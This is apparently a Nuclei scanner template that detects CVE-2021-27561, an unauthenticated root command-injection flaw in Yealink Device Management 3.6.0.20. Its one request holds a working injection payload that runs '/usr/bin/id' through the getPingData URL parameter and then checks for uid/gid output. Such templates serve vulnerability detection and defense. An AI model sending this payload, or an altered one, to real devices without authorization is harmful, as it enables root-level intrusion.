YeaLink DM 3.6.0.20 - Remote Command Injection

id: CVE-2021-27561

info:
  name: YeaLink DM 3.6.0.20 - Remote Command Injection
  author: shifacyclewala,hackergautam
  severity: critical
  description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Update to the latest firmware version provided by the vendor to mitigate this vulnerability.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
    - https://ssd-disclosure.com/?p=4688
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27561
    cwe-id: CWE-78
    epss-score: 0.82865
    epss-percentile: 0.99646
    cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yealink
    product: device_management
  tags: cve2021,cve,rce,yealink,mirai,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"
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